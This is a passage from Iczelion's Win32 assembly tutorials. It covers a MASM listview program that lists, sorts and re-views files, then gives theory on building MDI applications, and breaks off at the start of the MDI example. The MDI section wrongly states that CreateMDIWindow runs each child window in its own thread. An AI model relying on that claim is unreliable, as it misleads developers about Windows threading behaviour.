invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
LOCAL lvi:LV_ITEM
LOCAL buffer[20]:BYTE
mov edi,lpFind
assume edi:ptr WIN32_FIND_DATA
mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0
lea eax,[edi].cFileName
mov lvi.pszText,eax
push row
pop lvi.lParam
invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
mov lvi.imask,LVIF_TEXT
inc lvi.iSubItem
invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
lea eax,buffer
mov lvi.pszText,eax
invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
assume edi:nothing
ret
ShowFileInfo endp

FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL FHandle:DWORD

invoke FindFirstFile,addr FileNamePattern,addr finddata
.if eax!=INVALID_HANDLE_VALUE
mov FHandle,eax
xor edi,edi
.while eax!=0
test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
.if ZERO?
invoke ShowFileInfo,edi, addr finddata
inc edi
.endif
invoke FindNextFile,FHandle,addr finddata
.endw
invoke FindClose,FHandle
.endif
ret
FillFileInfo endp

String2Dword proc uses ecx edi edx esi String:DWORD
LOCAL Result:DWORD

mov Result,0
mov edi,String
invoke lstrlen,String
.while eax!=0
xor edx,edx
mov dl,byte ptr [edi]
sub dl,"0"
mov esi,eax
dec esi
push eax
mov eax,edx
push ebx
mov ebx,10
.while esi > 0
mul ebx
dec esi
.endw
pop ebx
add Result,eax
pop eax
inc edi
dec eax
.endw
mov eax,Result
ret
String2Dword endp

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
LOCAL buffer[256]:BYTE
LOCAL buffer1[256]:BYTE
LOCAL lvi:LV_ITEM

mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
.if SortType==1
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke String2Dword,addr buffer
mov edi,eax
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub edi,eax
mov eax,edi
.elseif SortType==2
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke String2Dword,addr buffer
mov edi,eax
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub eax,edi
.elseif SortType==3
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer1,addr buffer
.else
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer,addr buffer1
.endif
ret
CompareFunc endp

UpdatelParam proc uses edi
LOCAL lvi:LV_ITEM

invoke SendMessage,hList, LVM_GETITEMCOUNT,0,0
mov edi,eax
mov lvi.imask,LVIF_PARAM
mov lvi.iSubItem,0
mov lvi.iItem,0
.while edi>0
push lvi.iItem
pop lvi.lParam
invoke SendMessage,hList, LVM_SETITEM,0,addr lvi
inc lvi.iItem
dec edi
.endw
ret
UpdatelParam endp

ShowCurrentFocus proc
LOCAL lvi:LV_ITEM
LOCAL buffer[256]:BYTE

invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED
mov lvi.iItem,eax
mov lvi.iSubItem,0
mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
invoke SendMessage,hList,LVM_GETITEM,0,addr lvi
invoke MessageBox,0, addr buffer,addr AppName,MB_OK
ret
ShowCurrentFocus endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
mov hList, eax
invoke InsertColumn
invoke FillFileInfo
RGB 255,255,255
invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax
invoke GetMenu,hWnd
mov hMenu,eax
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke GetWindowLong,hList,GWL_STYLE
and eax,not LVS_TYPEMASK
mov edx,wParam
and edx,0FFFFh
push edx
or eax,edx
invoke SetWindowLong,hList,GWL_STYLE,eax
pop edx
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
.endif
.elseif uMsg==WM_NOTIFY
push edi
mov edi,lParam
assume edi:ptr NMHDR
mov eax,[edi].hwndFrom
.if eax==hList
.if [edi].code==LVN_COLUMNCLICK
assume edi:ptr NM_LISTVIEW
.if [edi].iSubItem==1
.if SizeSortOrder==0 || SizeSortOrder==2
invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc
invoke UpdatelParam
mov SizeSortOrder,1
.else
invoke SendMessage,hList,LVM_SORTITEMS,2,addr CompareFunc
invoke UpdatelParam
mov SizeSortOrder,2
.endif
.else
.if FileNameSortOrder==0 || FileNameSortOrder==4
invoke SendMessage,hList,LVM_SORTITEMS,3,addr CompareFunc
invoke UpdatelParam
mov FileNameSortOrder,3
.else
invoke SendMessage,hList,LVM_SORTITEMS,4,addr CompareFunc
invoke UpdatelParam
mov FileNameSortOrder,4
.endif
.endif
assume edi:ptr NMHDR
.elseif [edi].code==NM_DBLCLK
invoke ShowCurrentFocus
.endif
.endif
pop edi
.elseif uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
and eax,0ffffh
shr edx,16
invoke MoveWindow,hList, 0, 0, eax,edx,TRUE
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analysis:

The first thing the program does when the main window is created is to create a listview control.

.if uMsg==WM_CREATE
invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
mov hList, eax

We call CreateWindowEx, passing itthe name of the window class "SysListView32". The default view is the report view as specified by LVS_REPORT style.

invoke InsertColumn

After the listview control is created, we insert columns into it.

LOCAL lvc:LV_COLUMN

mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc

We specify the label and the width of the first column, for storing the names of the files, in LV_COLUMN structure thus we need to set imask with LVCF_TEXT and LVCF_WIDTH flags. We fill pszText with the address of the label and lx with the width of the column, in pixels. When all is done, we send LVM_INSERTCOLUMN message to the listview control, passing the structure to it.

or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT

When we are done with the insertion of the first column, we insert another column for storing the sizes of the files. Since we need the sizes to right-align in the column, we need to specify a flag in fmt member, LVCFMT_RIGHT. We must also specify LVCF_FMT flag in imask, in addition to LVCF_TEXT and LVCF_WIDTH.

mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc

The remaining code is simple. Put the address of the label in pszText and the width in lx. Then send LVM_INSERTCOLUMN message to the listview control, specifying the column number and the address of the structure.

When the columns are inserted, we can fill items in the listview control.

invoke FillFileInfo

FillFileInfo has the following code.

FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL FHandle:DWORD

invoke FindFirstFile,addr FileNamePattern,addr finddata

We call FindFirstFile to obtain the information of the first file that matches the search criteria. FindFirstFile has the following prototype:

FindFirstFile proto pFileName:DWORD, pWin32_Find_Data:DWORD

pFileName is the address of the filename to search for. This string can contain wildcards. In our example, we use *.*, which amounts to search for all the files in the current folder.
pWin32_Find_Data is the address of the WIN32_FIND_DATA structure that will be filled with information about the file (if found).

This function returns INVALID_HANDLE_VALUE in eax if no matching file is found. Otherwise it returns a search handle that will be used in subsequent FindNextFile calls.

.if eax!=INVALID_HANDLE_VALUE
mov FHandle,eax
xor edi,edi

If a file is found, we store the search handle in a variable and then zero out edi which will be used as the index into the items (row number).

.while eax!=0
test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
.if ZERO?

In this tutorial, I don't want to deal with the folders yet so I filter them out by checking dwFileAttributes for files which have FILE_ATTRIBUTE_DIRECTORY flag set. If they are found, I skip to call FindNextFile.

invoke ShowFileInfo,edi, addr finddata
inc edi
.endif
invoke FindNextFile,FHandle,addr finddata
.endw

We insert the name and size of the file into the listview control by calling ShowFileInfo function. Then we increase the current row number in edi. Lastly we proceed to call FindNextFile to search for the next file in the current folder until FindNextFile returns 0 (meaning no more file is found).

invoke FindClose,FHandle
.endif
ret
FillFileInfo endp

When all files in the current folder are enumerated, we must close the search handle.

Now let's look at the ShowFileInfo function. This function accepts two parameters, the index of the item (row number) and the address of WIN32_FIND_DATA structure.

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
LOCAL lvi:LV_ITEM
LOCAL buffer[20]:BYTE
mov edi,lpFind
assume edi:ptr WIN32_FIND_DATA

Store the address of WIN32_FIND_DATA structure in edi.

mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0

We will supply the label of the item and the value in lParam so we put LVIF_TEXT and LVIF_PARAM flags into imask. Next we set the iItem to the row number passed to the function and since this is the main item, we must filliSubItem with 0 (column 0).

lea eax,[edi].cFileName
mov lvi.pszText,eax
push row
pop lvi.lParam

Next we put the address of the label, in this case, the name of the file in WIN32_FIND_DATA structure, into pszText. Because we will implement sorting in the listview control, we must fill lParam with a value. I choose to put the row number into this member so I can retrieve the item info by its index.

invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

When all necessary fields in LV_ITEM are filled, we send LVM_INSERTITEM message to the listview control to insert the item into it.

mov lvi.imask,LVIF_TEXT
inc lvi.iSubItem
invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
lea eax,buffer
mov lvi.pszText,eax

We will set the subitem associated with the item just inserted into the second column. A subitem can only have a label. Thus we specify LVIF_TEXT in imask. Then we specify the column that the subitem should reside in iSubItem. In this case, we set it to 1 by incrementing iSubItem. The label we will use is the size of the file. However, we must convert it to a string first by calling wsprintf. Then we put the address of the string into pszText.

invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
assume edi:nothing
ret
ShowFileInfo endp

When all necessary fields in LV_ITEM are filled, we send LVM_SETITEM message to the listview control, passing to it the address of the LV_ITEM structure. Note that we use LVM_SETITEM, not LVM_INSERTITEM because a subitem is considered as a property of an item. Thus we *set* the property of the item, not inserting a new item.

When all items are inserted into the listview control, we set the text and background colors of the listview control.

RGB 255,255,255
invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax

I use RGB macro to convert the red, green,blue values into eax and use it to specify the color we need. We set the foreground and background colors of the text with LVM_SETTEXTCOLOR and LVM_SETTEXTBKCOLOR messages. We set the background color of the listview control by sending LVM_SETBKCOLOR message to the listview control.

invoke GetMenu,hWnd
mov hMenu,eax
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED

We will let the user chooses the views he wants via the menu. Thus we must obtain the menu handle first. To help the user track the current view, we put a radio button system in our menu. The menu item that reflects the current view will be preceded by a radio button. That's why we call CheckMenuRadioItem. This function will put a radio button before a menu item.

Note that we create the listview control with width and height equal to 0. It will be resized later whenever the parent window is resized. This way, we can ensure that the size of the listview control will always match that of the parent window. In our example, we want the listview control to fill the whole client area of the parent window.

.elseif uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
and eax,0ffffh
shr edx,16
invoke MoveWindow,hList, 0, 0, eax,edx,TRUE

When the parent window receives WM_SIZE message, the low word of lParam contains the new width of the client area and the high word the new height. Then we call MoveWindow to resize the listview control to cover the whole client area of the parent window.

When the user selects a view in the menu. We must change the view in the listview control accordingly. We accomplish this by setting a new style in the listview control with SetWindowLong.

.elseif uMsg==WM_COMMAND
.if lParam==0
invoke GetWindowLong,hList,GWL_STYLE
and eax,not LVS_TYPEMASK

The first thing we do is to obtain the current styles of the listview control. Then we clear the old view style from the returned style flags. LVS_TYPEMASK is a constant that is the combined value of all 4 view style constants (LVS_ICON+LVS_SMALLICON+LVS_LIST+LVS_REPORT). Thus when we perform and operation on the current style flags with the value "not LVS_TYPEMASK", it amounts to clearing away the current view style.

In designing the menu, I cheat a little. I use the view style constants as the menu IDs.

IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

Thus when the parent window receives WM_COMMAND message, the desired view style is in the low word of wParam as the menu ID.

mov edx,wParam
and edx,0FFFFh

We have the desired view style in the low word of wParam. All we have to do is to zero out the high word.

push edx
or eax,edx

And add the desired view style to the existing styles (minus the current view style) of the listview control.

invoke SetWindowLong,hList,GWL_STYLE,eax

And set the new styles with SetWindowLong.

pop edx
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
.endif

We also need to put the radio button in front of the selected view menu item. Thus we call CheckMenuRadioItem, passing the current view style (double as menu ID) to it.

When the user clicks on the column headers in the report view, we want to sort the items in the listview control. We must respond to WM_NOTIFY message.

.elseif uMsg==WM_NOTIFY
push edi
mov edi,lParam
assume edi:ptr NMHDR
mov eax,[edi].hwndFrom
.if eax==hList

When we receive WM_NOTIFY message, lParam contains the pointer to an NMHDR structure. We can check if this message is from the listview control by comparing the hwndFrom member of NMHDR to the handle to the listview control. If they match, we can assume that the notification came from the listview control.

.if [edi].code==LVN_COLUMNCLICK
assume edi:ptr NM_LISTVIEW

If the notification is from the listview control, we check if the code is LVN_COLUMNCLICK. If it is, it means the user clicks on a column header. In the case that the code is LVN_COLUMNCLICK, we can assume that lParam contains the pointer to an NM_LISTVIEW structure which is a superset of the NMHDR structure. We then need to know on which column header the user clicks. Examination of iSubItem member reveals this info. The value in iSubItem can be treated as the column number, starting from 0.

.if [edi].iSubItem==1
.if SizeSortOrder==0 || SizeSortOrder==2

In the case iSubItem is 1, it means the user clicks on the second column, size. We use state variables to keep the current status of the sorting order. 0 means "no sorting yet", 1 means "sort ascending", 2 means "sort descending". If the items/subitems in the column are not sorted before, or sorted descending, we set the sorting order to ascending.

invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc

We send LVM_SORTITEMS message to the listview control, passing 1 in wParam and the address of our comparison function in lParam. Note that the value in wParam is user-defined, you can use it in any way you like. I use it as the sorting method in this example. We will take a look at the comparison function first.

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
LOCAL buffer[256]:BYTE
LOCAL buffer1[256]:BYTE
LOCAL lvi:LV_ITEM

mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256

In the comparison function, the listview control will pass lParams (in LV_ITEM) of the two items it needs to compare to us in lParam1 and lParam2. You'll recall that we put the index of the item in lParam. Thus we can obtain information about the items by querying the listview control using the indexes. The info we need is the labels of the items/subitems being sorted. Thus we prepare an LV_ITEM structure for such purpose, specifying LVIF_TEXT in imask and the address of the buffer in pszText and the size of the buffer in cchTextMax.

.if SortType==1
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi

If the value in SortType is 1 or 2, we know that the size column is clicked. 1 means sort the items according to their sizes in ascending order. 2 means the reverse. Thus we specify iSubItem as 1 ( to specify the size column) and send LVM_GETITEMTEXT message to the listview control to obtain the label (size string) of the subitem.

invoke String2Dword,addr buffer
mov edi,eax

Covert the size string into a dword value with String2Dword which is the function I wrote. It returns the dword value in eax. We store it in edi for comparison later.

invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub edi,eax
mov eax,edi

Do likewise with the value in lParam2. When we have the sizes of the two files, we can then compare them.
The rule of the comparison function is as follows:

  • If the first item should precede the other, you must return a negative value in eax
  • If the second item should precede the first one, you must return a positive value in eax
  • If both items are equal, you must return zero in eax.

In this case, we want to sort the items according to their sizes in ascending order. Thus we can simply subtract the size of the first item with that of the second one and return the result in eax.

.elseif SortType==3
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer1,addr buffer

In case the user clicks the filename column, we must compare the names of the files. We first obtain the filenames and then compare them with lstrcmpi function. We can return the return value of lstrcmpi without any modification since it also uses the same rule of comparison, eg. negative value in eax if the first string is less than the second string.

When the items were sorted, we need to update the lParam values of all items to reflect the new indexes by calling UpdatelParam function.

invoke UpdatelParam
mov SizeSortOrder,1

This function simply enumerates all items in the listview control and updates the values in lParam with the new indexes. We need to do this else the next sort will not work as expected because our assumption is that the value in lParam is the index of the item.

.elseif [edi].code==NM_DBLCLK
invoke ShowCurrentFocus
.endif

When the user double-clicks at an item, we want to display a message box with the label of the item on it. We must check if the code in NMHDR is NM_DBLCLK. If it is, we can proceed to obtain the label and display it in a message box.

ShowCurrentFocus proc
LOCAL lvi:LV_ITEM
LOCAL buffer[256]:BYTE

invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED

How do we know which item is double-clicked? When an item is clicked or double-clicked, its state is set to "focused". Even if many items are hilited (selected), only one of them has got the focus. Our job than is to find the item that has the focus. We do this by sending LVM_GETNEXTITEM message to the listview control, specifying the desired state in lParam. -1 in wParam means search all items. The index of the item is returned in eax.

mov lvi.iItem,eax
mov lvi.iSubItem,0
mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
invoke SendMessage,hList,LVM_GETITEM,0,addr lvi

We then proceed to obtain the label by sending LVM_GETITEM message to the listview control.

invoke MessageBox,0, addr buffer,addr AppName,MB_OK

Lastly, we display the label in a message box.

If you want to know how to use icons in the listview control, you can read about it in my treeview tutorial. The steps are just about the same.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's Win32 Assembly Tutorial 32: Multiple Document Interface (MDI)

Tutorial 32: Multiple Document Interface (MDI)

This tutorial shows you how to create MDI application. It's actually not too difficult to do. Download the example.

Theory:

Multiple Document Interface (MDI) is a specification for applications that handle multple documents at the same time. You are familiar with Notepad: It's an example of Single Document Interface (SDI). Notepad can handle only one document at a time. If you want to open another document, you have to close the previous one first. As you can imagine, it's rather cumbersome. Contrast it with Microsoft Word: Word can open arbitrary documents at the same time and let the user choose which document to use. Microsoft Word is an example of Multiple Document Interface (MDI).

MDI application has several characteristics that are distinctive. I'll list some of them:

  • Within the main window, there can be multiple child windows in the client area. All child windows are clipped to the client area.
  • When you minimize a child window, it minimizes to the lower left corner of the client area of the main window.
  • When you maximize achild window, its title merges with that of the main window.
  • You can close a child window by pressing Ctrl+F4 and switch the focus between the child windows by pressing Ctrl+Tab

The main window that contains the child windows is called a frame window. Its client area is where the child windows live, hence the name "frame". Its job is a little more elaborate than a usual window because it needs to handle some coordination for MDI.

To control an arbitrary number of child windows in your client area, you need a special window called client window. You can think of this client window as a transparent window that covers the whole client area of the frame window. It's this client window that is the actual parent of those MDI child windows. The client window is the real supervisor of the MDI child windows.

Frame Window
|
Client Window
|
|
|
|
|
|
MDI Child 1
MDI Child 2
MDI Child 3
MDI Child 4
MDI Child n

Figure 1. The hierachy of an MDI application

Creating the Frame Window

Now we can turn our attention to the detail. First of all you need to create a frame window. It's created the same way as the normal window: by calling CreateWindowEx. There are two major differences from a normal window.

The first difference is that you MUST call DefFrameProc instead of DefWindowProc to process the Windows messages your window don't want to handle. This is one way to let Windows do the dirty job of maintaining MDI application for you. If you forget to use DefFrameProc, your application won't get the MDI feature. Period. DefFrameProc has the following syntax:

DefFrameProc proc hwndFrame:DWORD,
                                   hwndClient:DWORD,
                                   uMsg:DWORD,
                                   wParam:DWORD,
                                   lParam:DWORD

If you compare DefFrameProc with DefWindowProc, you'll notice that the only difference between them is that DefFrameProc has 5 parameters while DefWindowProc has only 4. The extra parameter is the handle to the client window. This handle is necessary so Windows can send MDI-related messages to the client window.

The second difference is that, you must call TranslateMDISysAccel in the message loop of your frame window. This is necessary if you want Windows to handle MDI-related accelerator key strokes such as Ctrl+F4, Ctrl+Tab for you. It has the following syntax:

TranslateMDISysAccel proc hwndClient:DWORD,
                                                 lpMsg:DWORD

The first parameter is the handle to the client window. This should not come as a surprise to you because it's the client window that is the parent of all MDI child windows. The second parameter is the address of the MSG structure you filled by calling GetMessage. The idea is to pass the MSG structure to the client window so it could examine if the MSG structure contains the MDI-related keypresses. If so, it processes the message itself and returns a non-zero value, otherwise it returns FALSE.

The steps in creating the frame window can be summarized as follows:

  1. Fill in the WNDCLASSEX structure as usual
  2. Register the frame window class by calling RegisterClassEx
  3. Create the frame window by calling CreateWindowEx
  4. Within the message loop, call TranslateMDISysAccel.
  5. Within the window procedure, pass the unprocessed messages to DefFrameProc instead of DefWindowProc.

Creating the Client Window

Now that we have the frame window, we can create the client window. The client window class is pre-registered by Windows. The class name is "MDICLIENT". You also need to pass the address of a CLIENTCREATESTRUCT structure to CreateWindowEx. This structure has the following definition:

CLIENTCREATESTRUCT struct
        hWindowMenu    dd ?
        idFirstChild    dd ?
CLIENTCREATESTRUCT ends

hWindowMenu is the handle to the submenu that Windows will append the list of MDI child window names. This feature requires a little explanation. If you ever use an MDI application like Microsoft Word before, you'll notice that there is a submenu named "window" which, on activation, displays various menuitems related to window management and at the bottom, the list of the MDI child window currently opened. That list is internally maintained by Windows itself: you don't have to do anything special for it. Just pass the handle of the submenu you want the list to appear in hWindowMenu and Windows will handle the rest. Note that the submenu can be ANY submenu:it doesn't have to be the one that is named "window". The bottom line is that, you should pass the handle to the submenu you want the window list to appear. If you don't want the list, just put NULL in hWindowMenu. You get the handle to the submenu by calling GetSubMenu.

idFirstChild is the ID of the first MDI child window. Windows increments the ID for each new MDI child window the application created. For example, if you pass 100 to this field, the first MDI child window will have the ID of 100, the second one will have the ID of 101 and so on. This ID is sent to the frame window via WM_COMMAND when the MDI child window is selected from the window list. Normally you'll pass this "unhandled" WM_COMMAND messages to DefFrameProc. I use the word "unhandled" because the menuitems in the window list are not created by your application thus your application doesn't know their IDs and doesn't have the handler for them. This is another special case for the MDI frame window: if you have the window list, you must modify your WM_COMMAND handler a bit like this:

.elseif uMsg==WM_COMMAND
      .if lParam==0			; this message is generated from a menu
          mov eax,wParam
          .if ax==IDM_CASCADE
                 .....
          .elseif ax==IDM_TILEVERT
                .....
          .else
                invoke DefFrameProc, hwndFrame, hwndClient, uMsg,wParam, lParam
                ret
          .endif

Normally, you would just ignore the messages from unhandled cases. But In the MDI case, if you ignore them, when the user clicks on the name of an MDI child window in the window list, that window won't become active. You need to pass them to DefFrameProc so they can be handled properly.

A caution on the value of idFirstChild: you should not use 0. Your window list will not behave properly, ie. the check mark will not appear in front of the name of the first MDI child even though it's active. Choose a safe value such as 100 or above.

Having filled in the CLIENTCREATESTRUCT structure, you can create the client window by calling CreateWindowEx with the predefined class name,"MDICLIENT", and passing the address of the CLIENTCREATESTRUCT structure in lParam. You must also specify the handle to the frame window in the hWndParent parameter so Windows knows the parent-child relationship between the frame window and the client window. The window styles you should use are: WS_CHILD ,WS_VISIBLE and WS_CLIPCHILDREN. If you forget WS_VISIBLE, you won't see the MDI child windows even if they were created successfully.

The steps in creating the client window are as follows:

  1. Obtain the handle to the submenu that you want to append the window list to.
  2. Put the value of the menu handle along with the value you want to use as the ID of the first MDI child window in a CLIENTCREATESTRUCT structure
  3. call CreateWindowEx with the class name "MDICLIENT", passing the address of the CLIENTCREATESTRUCT structure you just filled in in lParam.

Creating the MDI Child Window

Now you have both the frame window and the client window. The stage is now ready for the creation of the MDI child window. There are two ways to do that.

  • You can send WM_MDICREATE message to the client window, passing the address of a structure of type MDICREATESTRUCT in wParam. This is the easiest and the usual method of MDI child window creation.
    .data?
        mdicreate MDICREATESTRUCT <>
        ....
    .code
        .....
        [fill the members of mdicreate]
        ......
    invoke SendMessage, hwndClient, WM_MDICREATE,addr mdicreate,0

    SendMessage will return the handle of the newly created MDI child window if successful. You don't need to save the handle though. You can obtain it by other means if you want to. MDICREATESTRUCT has the following definition.

    • MDICREATESTRUCT STRUCT
    szClass DWORD ?
    szTitle DWORD ?
    hOwner DWORD ?
    x DWORD ?
    y DWORD ?
    lx DWORD ?
    ly DWORD ?
    style DWORD ?
    lParam DWORD ?
    MDICREATESTRUCT ENDS
szClass | the address of the window class you want to use as the template for the MDI child window.
szTitle | the address of the text you want to appear in the title bar of the child window
hOwner | the instance handle of the application
x,y,lx,ly | the upper left coordinate and the width and height of the child window
style | child window style. If you create the client window with MDIS_ALLCHILDSTYLES, you can use any window style.
lParam | an application-defined 32-bit value. This is a way of sharing values among MDI windows. If you don't need to use it, set it to NULL
  • You can call CreateMDIWindow. This function has the following syntax:
    CreateMDIWindow proto lpClassName:DWORD
                                               lpWindowName:DWORD
                                               dwStyle:DWORD
                                           x:DWORD
                                               y:DWORD
                                               nWidth:DWORD
                                               nHeight:DWORD
                                               hWndParent:DWORD
                                               hInstance:DWORD
                                               lParam:DWORD

If you look closely at the parameters, you'll find that they are identical to the members of MDICREATESTRUCT structure, except for the hWndParent. Essentially it's the same number of parameters you pass with WM_MDICREATE. MDICREATESTRUCT doesn't have the hWndParent field because you must pass the whole structure to the correct client window with SendMessage anyway.

At this point, you may have some questions: which method should I use? What is the difference between the two? Here is the answer:

The WM_MDICREATE method creates the MDI child window in the same thread as the calling code. That means if the application only has the primary thread, all MDI child windows run in the primary thread context. This is not a big issue until one or more of your MDI childs perform some lengthy operation. That could be a problem! Think about it, suddenly your whole application will seem to freeze, won't respond to anything until the operation ends.

This problem is exactly what CreateMDIWindow is designed to solved. CreateMDIWindow creates a separate thread for each MDI child window. Thus if one MDI child is busy, it won't drag the whole application down with it.

A little more detail needs to be covered about the window procedure of the MDI child. As with the frame window case, you must not call DefWindowProc to handle the unprocessed messages. Instead, you must use DefMDIChildProc. This function has exactly the same parameters as DefWindowProc.

In addition to WM_MDICREATE, there are other MDI-related window messages. I'll list them below:

WM_MDIACTIVATE | This message can be sent by the application to the client window to instruct the client window to activate the selected MDI child. When the client window receives the message, it activates the selected MDI child window and sends WM_MDIACTIVATE to the child being deactivated and activated. The use of this message is two-fold: it can be used by the application to activate the desired child window. And it can be used by the MDI child window itself as the indicator that it's being activated/deactivated. For example, if each MDI child window has different menu, it can use this opportunity to change the menu of the frame window when it's activated/deactivated.
WM_MDICASCADE WM_MDITILE WM_MDIICONARRANGE | These messages handle the arrangement of the MDI child windows. For example, if you want the MDI child windows to arrange themselves in cascading style, send WM_MDICASCADE to the client window.
WM_MDIDESTROY | Send this message to the client window to destroy an MDI child window. You should use this message instead of calling DestroyWindow because if the MDI child window is maxmized, this message will restore the tile of the frame window. If you use DestroyWindow, the title of the frame window will not be restored.
WM_MDIGETACTIVE | Send this message to retrieve the handle of the currently active MDI child window.
WM_MDIMAXIMIZE WM_MDIRESTORE | Send WM_MDIMAXIMIZE to maximize the MDI child window and WM_MDIRESTORE to restore it to previous state. Always use these messages for the operations. If you use ShowWindow with SW_MAXIMIZE, the MDI child window will maximize fine but it will have the problem when you try to restore it to previous size. You can minimize the MDI child window with ShowWindow without problem, however.
WM_MDINEXT | Send this message to the client window to activate the next or the previous MDI child window according to the values in wParam and lParam.
WM_MDIREFRESHMENU | Send this message to the client window to refresh the menu of the frame window. Note that you must call DrawMenuBar to update the menu bar after sending this message.
WM_MDISETMENU | Send this message to the client window to replace the whole menu of the frame window or just the window submenu. You must use this message instead of SetMenu. After sending this message, you must call DrawMenuBar to update the menu bar. Normally you will use this message when the active MDI child window has its own menu and you want it to replace the menu of the frame window while the MDI child window is active.

I'll review the steps in creating an MDI application for you again below.

  1. Register the window classes, both the frame window class and the MDI child window class
  2. Create the frame window with CreateWindowEx.
  3. Within the message loop, call TranslateMDISysAccel to process the MDI-related accelerator keys
  4. Within the window procedure of the frame window, call DefFrameProc to handle ALL messages unhandled by your code.
  5. Create the client window by calling CreateWindowEx using the name of the predefined window class, "MDICLIENT", passing the address of a CLIENTCREATESTRUCT structure in lParam. Normally, you would create the client window within the WM_CREATE handler of the frame window proc
  6. You can create an MDI child window by sending WM_MDICREATE to the client window or, alternatively, by calling CreateMDIWindow.
  7. Within the window proc of the MDI child window, pass all unhandled messages to DefMDIChildProc.
  8. Use MDI version of the messages if it exists. For example, use WM_MDIDESTROY instead of calling DestroyWindow

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
